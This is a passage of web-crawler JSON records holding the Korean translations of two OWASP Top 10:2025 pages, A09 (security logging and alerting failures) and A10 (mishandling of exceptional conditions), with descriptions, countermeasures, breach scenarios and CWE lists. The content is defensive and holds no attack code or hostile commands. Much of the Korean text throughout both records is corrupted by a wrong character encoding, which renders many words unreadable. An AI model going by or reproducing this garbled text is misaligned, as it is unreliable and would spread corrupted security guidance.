"iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:09:40", "sha256": "2c1b4d2d9b8ff1ab52cc4385c700d100db583ce46585da7116a3f71096a8adc1", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://github.com/federicodotta/Java-Deserialization-Scanner", "https://cheatsheetseries.owasp.org/cheatsheets/Software_Supply_Chain_Security_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Infrastructure_as_Code_Security_Cheat_Sheet.html", "https://wiki.owasp.org/index.php/Deserialization_Cheat_Sheet", "https://safecode.org/publication/SAFECode_Software_Integrity_Controls0610.pdf", "https://www.npr.org/2021/04/16/985439655/a-worst-nightmare-cyberattack-the-untold-story-of-the-solarwinds-hack", "https://about.codecov.io/security-update", "https://www.manning.com/books/securing-devops", "https://tenendo.com/insecure-deserialization/", "https://cwe.mitre.org/data/definitions/345.html", "https://cwe.mitre.org/data/definitions/353.html", "https://cwe.mitre.org/data/definitions/426.html", "https://cwe.mitre.org/data/definitions/427.html", "https://cwe.mitre.org/data/definitions/494.html", "https://cwe.mitre.org/data/definitions/502.html", "https://cwe.mitre.org/data/definitions/506.html", "https://cwe.mitre.org/data/definitions/509.html", "https://cwe.mitre.org/data/definitions/565.html", "https://cwe.mitre.org/data/definitions/784.html", "https://cwe.mitre.org/data/definitions/829.html", "https://cwe.mitre.org/data/definitions/830.html", "https://cwe.mitre.org/data/definitions/915.html", "https://cwe.mitre.org/data/definitions/926.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/ko/A09_2025-Security_Logging_and_Alerting_Failures/", "titulek": "A09 보안 로깅 및 알림 실패 - OWASP Top 10:2025", "h1": "A09:2025 보안 로깅 및 알림 실패", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/ko/A09_2025-Security_Logging_and_Alerting_Failures/", "jazyk": "ko", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A09:2025 보안 로깅 및 알림 실패"}, {"uroven": 2, "text": "배경."}, {"uroven": 2, "text": "ě ěˆ˜í‘œ."}, {"uroven": 2, "text": "설명."}, {"uroven": 2, "text": "대응 방안."}, {"uroven": 2, "text": "곾겊 시나리오 예시."}, {"uroven": 2, "text": "참쥰."}, {"uroven": 2, "text": "해당되는 CWE 목록."}], "markdown": "# A09:2025 보안 로깅 및 알림 실패\n\n## 배경.\n\n보안 로깅 및 알림 실패는 9위를 ěœ ě§€í•œë‹¤. 명칭이 약간 변경되었는데, 로그에서 발생한 이벤트의 쥰욘뼟 ěœ ë„í•˜ëŠ” 데 필요한 알림 기능을 강조하기 위함이다. 이 ěš´í…Œęł ëŚŹëŠ” 특성상 데이터상 순위가 낮게 나타나기 쉬우며, 커뮤니티 설문 투표를 통해 이번이 세 번째로 Top 10에 포함되었다. 또한 테스트가 극도로 ě–´ë ľęł , CVE/CVSS 데이터에서의 비중이 매우 낮지만(총 723개의 CVE), 가시성 확보, 인시던트 알림, ęˇ¸ëŚŹęł íŹë Œě‹ě— 측면에서 큰 영향을 ëŻ¸ěš ěˆ˜ 있다. 해당 ěš´í…Œęł ëŚŹě— 포함되는 CWE는 *로그 기록 시 ěśœë Ľ 인코딩 처댏 미흡(CWE-117), 로그에 ëŻźę°ě •ëł´ę°€ 기록(CWE-532), ęˇ¸ëŚŹęł ëśˆěśŠëś„í•œ 로깅(CWE-778)이다.*\n\n## ě ěˆ˜í‘œ.\n\n| 해당되는 CWE 개수 | 최대 ěˇ¨ě•˝ě  ë°œěƒëĽ | í‰ęˇ ěˇ¨ě•˝ě  ë°œěƒëĽ | 최대 테스트 커버리지 | í‰ęˇ í…ŒěŠ¤íŠ¸ 커버리지 | í‰ęˇ ę°€ě¤‘ 악용도 | í‰ęˇ ę°€ě¤‘ 영향도 | 총 발생 깴수 | 총 CVE 깴수 |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 5 | 11.33% | 3.91% | 85.96% | 46.48% | 7.19 | 2.65 | 260,288 | 723 |\n\n## 설명.\n\n로깅과 모니터링이 없으면 곾겊 및 침해를 íƒě§€í• ěˆ˜ 없으며, 알림이 없으면 보안 인시던트 발생시 ě‹ ě†í•˜ęł íš¨ęłźě ěœźëĄœ 대응하기가 매우 ě–´ë ľë‹¤. 다음과 같은 경우에는 불충분한 로깅, ě§€ě†ě ě¸ 모니터링, 탐지 및 ëŠĽë™ě  대응을 시작하기 위한 알림의 미흡이 발생한다. 아래와 같은 경우, ëŠĽë™ě  대응을 개시하기 위한 로깅, ě§€ě†ě  모니터링, 탐지, 알림이 부족한 것으로 ëłź 수 있다.\n\n- 로그인, 로그인 실패, 중요 거래 데이터 등 감사가 필요한 대상의 이벤트가 누락되거나 기준 없이 ë“¤ě­‰ë‚ ě­‰í•˜ę˛Œ(예: 성공 로그인만 기록) 로깅되는 경우.\n- ę˛˝ęł ë° 오류가 로그 메시지를 생성하지 않거나, ëś€ě ě ˆí•˜ęą°ë‚˜, 불명확한 로그를 생성하는 경우.\n- 로그가 위변조되지 않도록 무결성 보호가 ě ěšŠë˜ě§€ 않는 경우.\n- ě• í”ŒëŚŹěź€ě´ě…˜ 및 API 로그를 기반으로 한 이상징후 모니터링이 수행되지 않는 경우.\n- 로그가 로컬에만 ëł´ę´€ë˜ęł ë°ąě—…ě´ ě ě ˆížˆ 수행되지 않는 경우.\n- ě ě ˆí•œ 알림 임계값 및 대응 ě—ěŠ¤ěťŹë ˆě´ě…˜ ě ˆě°¨ę°€ ë§ˆë ¨ë˜ě–´ 있지 않거나 íš¨ęłźě ě´ě§€ 않다. 알림이 ě ě‹œě— 확인되지 않거나 ę˛€í† ë˜ě§€ 않는 경우.\n- ë™ě  ě• í”ŒëŚŹěź€ě´ě…˜ 보안 테스트(DAST) 도구(예: Burp 또는 ZAP)에 의한 욨툏 테스트 및 스캔이 알림을 트리거하지 않는 경우.\n- 진행 중인 공격을 실시간 혹은 준실시간으로 탐지하지 못하거나 상위 단계로 ě—ěŠ¤ěťŹë ˆě´ě…˜í•˜ęą°ë‚˜ 알림을 발생시키지 못하는 경우.\n- 로깅 및 알림 이벤트를 사용자 또는 공격자에게 노출 하거나( [A01:2025-ě ‘ęˇź ě œě–´ 실패](../A01_2025-Broken_Access_Control/) 참쥰), 로깅되면 안 되는 ëŻźę°ě •ëł´(예: PII 또는 PHI)뼟 로깅함으로써 ëŻźę°ě •ëł´ ěœ ěśœě— 취약한 경우.\n- 로그 데이터 인코딩이 ëś€ě ě ˆí•´ 로깅 또는 모니터링 시스템 자체가 ě¸ě ě…˜ 등 곾겊 대상이 되는 경우.\n- ě• í”ŒëŚŹěź€ě´ě…˜ě´ 오뼘 및 예외 처댏뼟 누락 또는 오처리하여 시스템이 오뼘 발생 자체를 인지하지 ëŞťí•˜ęł , ę˛°ęłźě ěœźëĄœ ëŹ¸ě œëĽź 로그로 남길 수 없는 경우.\n- 특수 상황을 식별하기 위한 알림 'ěœ ěŠ¤ěź€ě´ěŠ¤'가 없거나 오래되어 현재 환경을 반영하지 못한다.\n- íŠšě • 상황을 탐지해 알림을 발생시키기 위한 인시던트 ěœ ěŠ¤ěź€ě´ěŠ¤(use case)가 없거나, ę°ąě‹ ě´ 되지 않아 현행 환경을 충분히 반영하지 못하는 경우.\n- 너무 많은 오탐 알림으로 인해 중요한 알림과 중요하지 않은 알림을 ęľŹëś„í• ěˆ˜ 없게 되어, 알림이 너무 늦게 인지되거나 ě „í˜€ 인지되지 않는 경우(SOC 팀의 ëŹźëŚŹě  과부하).\n- ěœ ěŠ¤ěź€ě´ěŠ¤ě— 대한 í”Œë ˆě´ëśě´ ëśˆě™„ě „í•˜ęą°ë‚˜, ěľœě‹ ě´ 아니거나, 누락되어 감지된 알림을 올바르게 ě˛˜ëŚŹí• ěˆ˜ 없는 경우.\n\n## 대응 방안.\n\n개발자는 ě• í”ŒëŚŹěź€ě´ě…˜ě˜ 위험도에 따라 아래 í†ľě œ 항목 중 일부 또는 ě „ě˛´ëĽź 구현해야 한다.\n\n- ëŞ¨ë“ ëĄœęˇ¸ě¸, ě ‘ęˇź í†ľě œ 및 서버 츥 ěž…ë Ľ 검증 실패에 대해 로그를 남기며, 의심스럽거나 악성인 ęł„ě •ě„ ě‹ëł„í• ěˆ˜ 있을 만큼 충분한 ěœ ě € 컨텍스트를 íŹí•¨í•˜ęł , 사후 íŹë Œě‹ 분석을 위해 충분한 기간 동안 ě €ěžĽí•œë‹¤.\n- 보안 í†ľě œę°€ 포함된 ě• í”ŒëŚŹěź€ě´ě…˜ě˜ ëŞ¨ë“ ëś€ëś„ě—ě„œ, 성공 여부와 관계없이 로깅되도록 보장한다.\n- 보안 í†ľě œę°€ ě ěšŠëœ 구간은 성공 및 실패 여부와 무관하게 모두 로깅 대상에 포함한다.\n- 로그는 중앙 로그 플랫폼이 쉽게 ěˆ˜ě§‘í• ěˆ˜ 있는 표준화된 포맷으로 생성한다.\n- 로그 데이터는 인코딩을 확실히 ě ěšŠí•´ 로깅 및 모니터링 시스템의 로그 기반 ě¸ě ě…˜ 및 공격을 예방한다.\n- ëŞ¨ë“ íŠ¸ëžœěž­ě…˜ě— 대해 감사 로그를 ë‚¨ę¸°ęł , 추가만 가능한(append-only) ë°ě´í„°ë˛ ě´ěŠ¤ 테이블 등으로 ě‚­ě œ 및 변조를 ě–´ë ľę˛Œ 하는 무결성 í†ľě œëĽź ě ěšŠí•œë‹¤.\n- 오류가 발생한 ëŞ¨ë“ íŠ¸ëžœěž­ě…˜ě€ ëĄ¤ë°ąë˜ęł ë‹¤ě‹œ 시작되도록 한다. 또한, ę¸°ëł¸ě ěœźëĄœ 차단(fail closed)되도록 한다.\n- ě• í”ŒëŚŹěź€ě´ě…˜ 또는 사용자 행위가 의심스러운 경우 알림을 발행한다. 개발자가 해당 내용을 대응하여 코드를 ę°œë°œí• ěˆ˜ 있도록 가이드를 ě œęłľí•˜ęą°ë‚˜, 이를 위한 시스템을 구매한다.\n- DevSecOps 및 보안 팀은 SOC(Security Operations Center) 팀이 의심 활동을 ě‹ ě†ížˆ íƒě§€í•˜ęł ëŒ€ě‘í• ěˆ˜ 있도록, í”Œë ˆě´ëśě„ 포함한 íš¨ęłźě ě¸ 모니터링 및 알림 ěœ ěŠ¤ěź€ě´ěŠ¤ëĽź 수립해야 한다.\n- 공격자를 위한 í•¨ě •ěœźëĄœ 'í—ˆë‹ˆí† í°(honeytoken)'을 ě• í”ŒëŚŹěź€ě´ě…˜ě— 추가한다. 예뼟 들어 ë°ě´í„°ë˛ ě´ěŠ¤ 내에 ě‹¤ě œ 사용자 및/또는 시스템 ęł„ě • 형태의 데이터 또는 식별자를 삽입한다. í—ˆë‹ˆí† í°ě€ ě •ěƒ 업무에서는 사용되지 않으므로, ě ‘ęˇźě´ 발생하면 ę´€ë ¨ 이벤트가 로그로 ë‚¨ęł ě˜¤íƒě´ 거의 없는 알림 조건으로 í™œěšŠí• ěˆ˜ 있다.\n- 필요 시 행위 기반 분석 및 AI뼟 보쥰 수단으로 활용해 오탐을 ë‚Žěś”ęł ě•ŒëŚź 품질을 ę°œě„ í•œë‹¤.\n- NIST 800-61r2 이상 수준의 인시던트 대응 및 볾꾏 계획을 ë§ˆë ¨í•˜ęł , 개발자에게 곾겊/인시던트 징후를 교육해 ëł´ęł ë° 초기 대응이 가능하도록 한다.\n\n추가로, OWASP ModSecurity 핵심 규칙 세트(Core Rule Set)와 같은 상용 및 오픈소스 ě• í”ŒëŚŹěź€ě´ě…˜ 보호 ě œí’ˆ, ęˇ¸ëŚŹęł ě‚ŹěšŠěž ě •ě˜ 대시보드 및 알림 기능을 ě œęłľí•˜ě—Ź 대응에 도움이 ë ěˆ˜ 있는 Elasticsearch, Logstash, Kibana(ELK) 스택과 같은 오픈소스 로그 상관분석 소프트웨어가 있다. 공격에 준실시간으로 대응하거나 이를 차단하는 데 도움이 되는 상용 ě˜ľě €ë˛„ëšŒëŚŹí‹°(observability) 도구도 존재한다.\n\n## 곾겊 시나리오 예시.\n\n**시나리오 1:** 한 아동 건강보험 ě œęłľě—…ě˛´ě˜ 웹사이트 운영자는 모니터링 및 로깅 부재로 인해 침해 ě‚Źęł ëĽź 탐지하지 못했다. 외부 ě œ3자가 해당 ě œęłľě—…ě˛´ě— 공격자가 350만 명이 넘는 아동의 민감한 건강 기록 수천 건에 ě ‘ęˇźí•˜ě—Ź 이를 ěˆ˜ě •í–ˆë‹¤ęł í†ľëł´í–ˆë‹¤. 사후 분석에서는 핵심 ěˇ¨ě•˝ě ě´ 장기간 방치된 ě •í™Šě´ 확인되었으며, 로그와 모니터링이 없어 침해가 2013년부터 7년 이상 지속되었을 가능성도 ë°°ě œí• ěˆ˜ 없었다.\n\n**시나리오 2:** 인도의 주요 항공사에서 여권 및 ě‹ ěšŠěš´ë“œ 데이터를 포함해 수백만 명 승객의 10년 이상 분량 ę°œě¸ě •ëł´ę°€ ę´€ë ¨ëœ 데이터 ěœ ěśœě´ 발생했다. 해당 ěœ ěśœě€ ě œ3자 클라우드 호스팅 ě œęłľě—…ě˛´ě—ě„œ 발생했으며, 해당 ě œęłľě—…ě˛´ëŠ” ěźě • 시간이 지난 뒤 항공사에 침해 사실을 통보했다.\n\n**사나리오 3:** ěœ ëŸ˝ě˜ 주요 항공사는 GDPR ě‹ ęł ě˜ëŹ´ę°€ 있는 침해 ě‚Źęł ëĽź 겪었다. ëł´ęł ě— 따르면, ę˛°ě œ ě• í”ŒëŚŹěź€ě´ě…˜ 보안 ěˇ¨ě•˝ě ě´ 공격자에 의해 ě•…ěšŠë˜ě—ˆęł , 공격자는 40만 건이 넘는 ęł ę° ę˛°ě œ 기록을 탈취했다. ꡸ 결곟 항공사는 ę°œě¸ě •ëł´ 감독기관으로부터 2,000만 파운드의 벌금을 부과받았다.\n\n## 참쥰.\n\n- [OWASP Proactive Controls: C9: Implement Logging and Monitoring](https://top10proactive.owasp.org/archive/2024/the-top-10/c9-security-logging-and-monitoring/)\n- [OWASP Application Security Verification Standard: V16 Security Logging and Error Handling](https://github.com/OWASP/ASVS/blob/v5.0.0/5.0/en/0x25-V16-Security-Logging-and-Error-Handling.md)\n- [OWASP Cheat Sheet: Application Logging Vocabulary](https://cheatsheetseries.owasp.org/cheatsheets/Application_Logging_Vocabulary_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Logging](https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html)\n- [Data Integrity: Recovering from Ransomware and Other Destructive Events](https://csrc.nist.gov/publications/detail/sp/1800-11/final)\n- [Data Integrity: Identifying and Protecting Assets Against Ransomware and Other Destructive Events](https://csrc.nist.gov/publications/detail/sp/1800-25/final)\n- [Data Integrity: Detecting and Responding to Ransomware and Other Destructive Events](https://csrc.nist.gov/publications/detail/sp/1800-26/final)\n- [Real world example of such failures in Snowflake Breach](https://www.huntress.com/threat-library/data-breach/snowflake-data-breach)\n\n## 해당되는 CWE 목록.\n\n- [CWE-117 Improper Output Neutralization for Logs](https://cwe.mitre.org/data/definitions/117.html)\n- [CWE-221 Information Loss of Omission](https://cwe.mitre.org/data/definitions/221.html)\n- [CWE-223 Omission of Security-relevant Information](https://cwe.mitre.org/data/definitions/223.html)\n- [CWE-532 Insertion of Sensitive Information into Log File](https://cwe.mitre.org/data/definitions/532.html)\n- [CWE-778 Insufficient Logging](https://cwe.mitre.org/data/definitions/778.html)", "znaku_textu": 10164, "slov": 1177, "odkazu": 48, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:09:41", "sha256": "b946d6940a3b4e138c9fdf0c909dc9984c40a40070e7dd2a5cce5264a3e02f5f", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://top10proactive.owasp.org/archive/2024/the-top-10/c9-security-logging-and-monitoring/", "https://github.com/OWASP/ASVS/blob/v5.0.0/5.0/en/0x25-V16-Security-Logging-and-Error-Handling.md", "https://cheatsheetseries.owasp.org/cheatsheets/Application_Logging_Vocabulary_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html", "https://csrc.nist.gov/publications/detail/sp/1800-11/final", "https://csrc.nist.gov/publications/detail/sp/1800-25/final", "https://csrc.nist.gov/publications/detail/sp/1800-26/final", "https://www.huntress.com/threat-library/data-breach/snowflake-data-breach", "https://cwe.mitre.org/data/definitions/117.html", "https://cwe.mitre.org/data/definitions/221.html", "https://cwe.mitre.org/data/definitions/223.html", "https://cwe.mitre.org/data/definitions/532.html", "https://cwe.mitre.org/data/definitions/778.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/ko/A10_2025-Mishandling_of_Exceptional_Conditions/", "titulek": "A10 ëś€ě ě ˆí•œ 예외 처댏 - OWASP Top 10:2025", "h1": "A10:2025 ëś€ě ě ˆí•œ 예외 처댏", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/ko/A10_2025-Mishandling_of_Exceptional_Conditions/", "jazyk": "ko", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A10:2025 ëś€ě ě ˆí•œ 예외 처댏"}, {"uroven": 2, "text": "배경."}, {"uroven": 2, "text": "Score table."}, {"uroven": 2, "text": "설명."}, {"uroven": 2, "text": "대응 방안."}, {"uroven": 2, "text": "대응 방안"}, {"uroven": 2, "text": "곾겊 시나리오 예시."}, {"uroven": 2, "text": "참쥰."}, {"uroven": 2, "text": "List of Mapped CWEs"}], "markdown": "# A10:2025 ëś€ě ě ˆí•œ 예외 처댏\n\n## 배경.\n\nëś€ě ě ˆí•œ 예외 처리는 2025년에 ě‹ ě„¤ëœ ěš´í…Œęł ëŚŹë‹¤. 이 ěš´í…Œęł ëŚŹëŠ” 24개의 CWE뼟 포함하며, ëś€ě ě ˆí•œ 오뼘 처댏, ë…źëŚŹě  오뼘, ě•ˆě „í•˜ě§€ 않은 실패(Failing Open), ꡸ 외 시스템이 ëš„ě •ěƒě ě¸ 상황에서 ë§ˆěŁźí• ěˆ˜ 있는 시나리오를 다룬다. 이 ěš´í…Œęł ëŚŹě—ëŠ” ě´ě „ě— \"코드 품질 ě €í•˜\"와 연관되었던 일부 CWE가 포함되어 있다. 기쥴 분류는 너무 광범위했으며, 이처럼 ęľŹě˛´ě ě¸ ěš´í…Œęł ëŚŹę°€ 더 명확한 가이드를 ě œęłľí•œë‹¤ęł íŒë‹¨í–ˆë‹¤.\n\nëŒ€í‘œě ě¸ CWE로는 *CWE-209: 민감한 ě •ëł´ę°€ 포함된 오뼘 메시지 생성*, *CWE-234: 누락된 파라미터 처댏 실패*, *CWE-274: 권한 부족에 대한 ëś€ě ě ˆí•œ 처댏*, *CWE-476: NULL 포인터 역참조*, ęˇ¸ëŚŹęł *CWE-636: ě•ˆě „í•˜ě§€ 않은 실패(Failing Open)*가 있다.\n\n## Score table.\n\n| 해당되는 CWE 개수 | 최대 ěˇ¨ě•˝ě  ë°œěƒëĽ | í‰ęˇ ěˇ¨ě•˝ě  ë°œěƒëĽ | 최대 테스트 커버리지 | í‰ęˇ í…ŒěŠ¤íŠ¸ 커버리지 | 가중 í‰ęˇ ě•…ěšŠë„ | 가중 í‰ęˇ ě˜í–Ľë„ | 총 발생 깴수 | 총 CVE 깴수 |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 24 | 20.67% | 2.95% | 100.00% | 37.95% | 7.11 | 3.81 | 769,581 | 3,416 |\n\n## 설명.\n\nëś€ě ě ˆí•œ 예외 처리는 프로그램이 ëš„ě •ěƒě ě´ęł ě˜ˆě¸Ą 불가능한 상황을 예밊, 탐지, 대응하지 ëŞťí• ë•Œ 발생하며, 이로 인해 시스템 충돌, 예상욘 못한 동작, 때로는 보안 ěˇ¨ě•˝ě ęšŒě§€ ě´ˆëž˜í• ěˆ˜ 있다. 이는 다음 세 가지 실패 중 하나 이상을 포함한다. ëš„ě •ěƒě ě¸ 상황을 ě‚Źě „ě— 예방하지 못하거나, 발생 시 이를 식별하지 못하거나, 발생 후 ě ě ˆížˆ 대응하지 못하는 경우다.\n\n예외 상황은 다음과 같은 원인으로 ë°œěƒí• ěˆ˜ 있다. 누락되거나 ëśˆě™„ě „í•œ ěž…ë Ľ 검증, 발생 ě§€ě ě´ 아닌 상위 ë ˆë˛¨ě—ě„œě˜ 지연된 오뼘 처댏, 메모리·권한·네트워크 ëŹ¸ě œ 등 예기욘 않은 환경 상태, 일관성 없는 예외 처댏, 또는 ě „í˜€ 처리되지 않는 예외로 인해 시스템이 알 수 ě—†ęł ě˜ˆě¸Ą 불가능한 상태에 ëš ě§€ëŠ” 경우다. ě• í”ŒëŚŹěź€ě´ě…˜ě´ 다음에 무엇을 해야 í• ě§€ 알 수 없는 상태에 ëš ě§„ë‹¤ëŠ´, 예외 처리가 실패한 것이다. 이러한 오류와 예외는 발견이 ě–´ë ¤ě›Œ 장기간 보안을 ěœ„í˜‘í• ěˆ˜ 있다.\n\nëś€ě ě ˆí•œ 예외 처리로 인해 다양한 보안 ěˇ¨ě•˝ě ě´ ë°œěƒí• ěˆ˜ 있다. 예뼟 들어 논리 버그, 오버플로우, ë ˆě´ěŠ¤ 컨디션, ëś€ě • 거래, 메모리·상태·리소스·타이밍·인증·인가 ę´€ë ¨ ëŹ¸ě œ 등이 있다. 이러한 ěœ í˜•ě˜ ěˇ¨ě•˝ě ě€ 시스템 또는 데이터의 기밀성, 가용성, 무결성에 ëś€ě •ě ě¸ 영향을 ëŻ¸ěš ěˆ˜ 있다. 공격자는 ě• í”ŒëŚŹěź€ě´ě…˜ě˜ 결함 있는 오뼘 처댏뼟 악용하여 이 ěˇ¨ě•˝ě ě„ 공격한다.\n\n## 대응 방안.\n\n## 대응 방안\n\n예외 상황을 ě ě ˆížˆ ě˛˜ëŚŹí•˜ë ¤ëŠ´ 이러한 상황에 대비한 계획을 세워야 한다(최악의 상황을 예상하라). ëŞ¨ë“ ě‹œěŠ¤í…œ 오뼘뼟 발생 ě§€ě ě—ě„œ ě§ě ‘ 캐욘(catch)í•˜ęł , 이를 처리해야 한다. 여기서 처리란 ëŹ¸ě œ 해결을 위한 의미 있는 쥰욘뼟 ěˇ¨í•˜ęł ě •ěƒ 상태로 복구하는 것을 의미한다. 처댏 ęłźě •ě—ëŠ” 오뼘 발생 시 사용자에게 이해하기 쉬운 방식으로 ě•ŒëŚŹęł , 이벤트를 로깅하며, í•„ěš”í•˜ë‹¤ęł íŒë‹¨ë˜ëŠ´ 알림을 발송하는 것이 포함되어야 한다. 또한 놓친 예외가 있을 경우를 대비해 ě „ě—­ 예외 핸들러(Global Exception Handler)뼟 구현해야 한다. ě´ěƒě ěœźëĄœëŠ” 반복되는 오류나 진행 중인 공격을 나타내는 패턴을 ę°ě‹œí•˜ęł , 이에 ëŒ€ě‘Âˇë°Šě–´Âˇě°¨ë‹¨í• ěˆ˜ 있는 모니터링 또는 ě˜ľě €ë˛„ëšŒëŚŹí‹° 도구를 갖추는 것이 좋다. 이를 통해 오뼘 처댏 ěˇ¨ě•˝ě ě„ 악용하는 스크립트와 봇에 ëŒ€ě‘í•˜ęł ě°¨ë‹¨í• ěˆ˜ 있다.\n\n예외 상황을 ěşěš˜í•˜ęł ě˛˜ëŚŹí•˜ëŠ´ 프로그램의 기반 인프라가 예츥 불가능한 상황에 노출되는 것을 ë°Šě§€í• ěˆ˜ 있다. 트랜잭션 처댏 도중이라면, 트랜잭션의 ëŞ¨ë“ ëś€ëś„ě„ ëĄ¤ë°ąí•˜ęł ě˛˜ěŒëś€í„° 다시 시작하는 것이 매우 중요하다(이를 ě•ˆě „í•œ 실패[Failing Closed]ëźęł í•œë‹¤). 트랜잭션을 중간 상태에서 ëłľęľŹí•˜ë ¤ëŠ” 시도는 종종 볾꾏 불가능한 오뼘뼟 만들어낸다.\n\n가능하다면 속도 ě œí•œ(Rate Limiting), 리소스 쿼터, 스로틀링 등 다양한 ě œí•œě„ ě ěšŠí•˜ě—Ź ě• ě´ˆě— 예외 상황이 발생하지 않도록 예방하라. ě •ëł´ ę¸°ěˆ ě—ě„œ ëŹ´ě œí•œě´ě–´ě•ź 하는 것은 없다. ě œí•œě´ 없으면 ě• í”ŒëŚŹěź€ě´ě…˜ ëłľě›ë Ľ ě €í•˜, 서비스 거부(DoS), 무차별 대입 곾겊 성공, 과도한 클라우드 비용 등의 ëŹ¸ě œę°€ ë°œěƒí• ěˆ˜ 있다.\n\níŠšě • 빈도 이상으로 동일한 오류가 ë°˜ëłľë ę˛˝ěš°, 개별 오뼘 메시지 ëŒ€ě‹ ë°œěƒ 횟수와 시간대를 보여주는 통계 형태로 ěśœë Ľí•˜ëŠ” 것을 ęł ë ¤í•˜ëź. 이 ě •ëł´ëŠ” 자동화된 로깅 및 모니터링을 방해하지 않도록 원본 메시지에 추가하는 방식으로 처리해야 한다. [A09:2025 보안 로깅 및 알림 실패](../A09_2025-Security_Logging_and_Alerting_Failures/)뼟 ě°¸ęł í•˜ëź.\n\n이 외에도 다음 사항을 포함해야 한다: 엄격한 ěž…ë Ľ 검증(허용해야 하는 위험 문자에 대한 새니타이징 또는 이스케이프 처댏 포함), 중앙 집중화된 오뼘 처리·로깅·모니터링·알림 체계, ęˇ¸ëŚŹęł ě „ě—­ 예외 핸들러다. 하나의 ě• í”ŒëŚŹěź€ě´ě…˜ě—ě„œ 예외 처댏뼟 위한 여러 함수를 두어서는 안 되늰, 한 곳에서 동일한 방식으로 처리해야 한다. 또한 이 섹션의 ëŞ¨ë“ ęśŒęł ě‚Źí•­ě— 대해 í”„ëĄœě íŠ¸ 보안 요구사항을 ěˆ˜ëŚ˝í•˜ęł , 설계 단계에서 위협 모델링 또는 보안 설계 ę˛€í† ëĽź 수행하며, 코드 리뷰나 ě •ě  분석을 ě‹¤ě‹œí•˜ęł , 최종 시스템에 대해 ěŠ¤íŠ¸ë ˆěŠ¤Âˇě„ąëŠĽÂˇěš¨íˆŹ 테스트를 수행해야 한다.\n\n가능하다면 쥰직 ě „ě˛´ę°€ 동일한 방식으로 예외 상황을 처리하는 것이 좋다. ě´ë ‡ę˛Œ 하면 이 중요한 보안 í†ľě œě— 대한 코드 리뷰와 감사가 더 쉬워진다.\n\n## 곾겊 시나리오 예시.\n\n**시나리오 1:** ě• í”ŒëŚŹěź€ě´ě…˜ě´ 파일 업로드 시 예외를 캐치하되 리소스를 í•´ě œí•˜ě§€ 않으면, 예외가 ë°œěƒí• ë•Œë§ˆë‹¤ 리소스가 ěž ę¸´ 채로 남는다. 이로 인해 리소스가 ęł ę°ˆë˜ě–´ 서비스 거부(DoS)로 이어질 수 있다.\n\n**시나리오 2:** ë°ě´í„°ë˛ ě´ěŠ¤ 오류가 사용자에게 그대로 노출되면 민감한 시스템 ě •ëł´ę°€ ěœ ěśœëœë‹¤. 공격자는 이를 악용해 ě˜ë„ě ěœźëĄœ 오뼘뼟 ěœ ë°œí•˜ęł , 수집한 ě •ëł´ëĽź 기반으로 더 ě •ęľí•œ SQL ě¸ě ě…˜ 공격을 ęľŹě„ąí• ěˆ˜ 있다.\n\n**시나리오 3:** 공격자가 네트워크 중단을 일으켜 다단계 금융 트랜잭션을 ë°Ší•´í• ěˆ˜ 있다. 예뼟 들어 트랜잭션이 \"출금 → 입금 → 로깅\" 순서로 ě˛˜ëŚŹë ë•Œ, 중간에 오류가 발생해도 시스템이 ě „ě˛´ëĽź 륤밹(ě•ˆě „í•œ 실패)하지 않으면 ëŹ¸ě œę°€ 생긴다. 공격자는 이를 악용해 사용자 계좌에서 돈만 ëš ě ¸ë‚˜ę°€ę˛Œ 하거나, ë ˆě´ěŠ¤ 컨디션을 이용해 대상 계좌로 여러 번 ě†Ąę¸ˆí• ěˆ˜ 있다.\n\n## 참쥰.\n\n- [OWASP MASVS‑RESILIENCE](https://mas.owasp.org/MASVS/11-MASVS-RESILIENCE/)\n- [OWASP Cheat Sheet: Logging](https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Error Handling](https://cheatsheetseries.owasp.org/cheatsheets/Error_Handling_Cheat_Sheet.html)\n- [OWASP Application Security Verification Standard (ASVS): V16.5 Error Handling](https://github.com/OWASP/ASVS/blob/master/5.0/en/0x25-V16-Security-Logging-and-Error-Handling.md#v165-error-handling)\n- [OWASP Testing Guide: 4.8.1 Testing for Error Handling](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/01-Testing_For_Improper_Error_Handling)\n- [Best practices for exceptions (Microsoft, .Net)](https://learn.microsoft.com/en-us/dotnet/standard/exceptions/best-practices-for-exceptions)\n- [Clean Code and the Art of Exception Handling (Toptal)](https://www.toptal.com/developers/abap/clean-code-and-the-art-of-exception-handling)\n- [General error handling rules (Google for Developers)](https://developers.google.com/tech-writing/error-messages/error-handling)\n- [Example of real-world mishandling of an exceptional condition](https://www.firstreference.com/blog/human-error-and-internal-control-failures-cause-us62m-fine/)\n\n## List of Mapped CWEs\n\n- [CWE-209 Generation of Error Message Containing Sensitive Information](https://cwe.mitre.org/data/definitions/209.html)\n- [CWE-215 Insertion of Sensitive Information Into 